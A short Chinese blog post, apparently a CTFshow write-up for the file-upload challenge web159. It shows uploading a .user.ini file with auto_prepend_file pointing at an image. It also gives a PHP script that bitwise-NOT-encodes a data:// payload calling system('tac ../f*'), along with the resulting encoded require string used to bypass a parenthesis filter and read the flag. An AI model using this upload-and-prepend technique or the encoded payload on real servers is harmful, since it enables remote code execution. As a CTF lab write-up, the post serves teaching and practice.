CTFshow 文件上传 web159

最新推荐文章于 2024-12-31 12:35:13 发布

原创最新推荐文章于 2024-12-31 12:35:13 发布 · 536 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php #开发语言 #后端

CTFshow 专栏收录该内容

194 篇文章

订阅专栏

本文介绍了在CTF比赛中解决web159题目时的思路，通过修改参数绕过过滤，使用.data协议执行代码。重点讨论了如何利用.php.user.ini文件进行上传，并指出POST参数在服务器端不解码的问题，最终成功获取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

思路

直接在burp里面改target和host的值,或者在本地发包
在这里插入图片描述

成功上传.user.ini

auto_prepend_file=shell.png

相比之前题目的过滤发现()也不能用了,不过可以用取反和异或来绕过

不需要括号的函数

echo
require
include

Y1ng师傅的取反脚本,用data协议来执行代码

<?php
$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")";
//require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>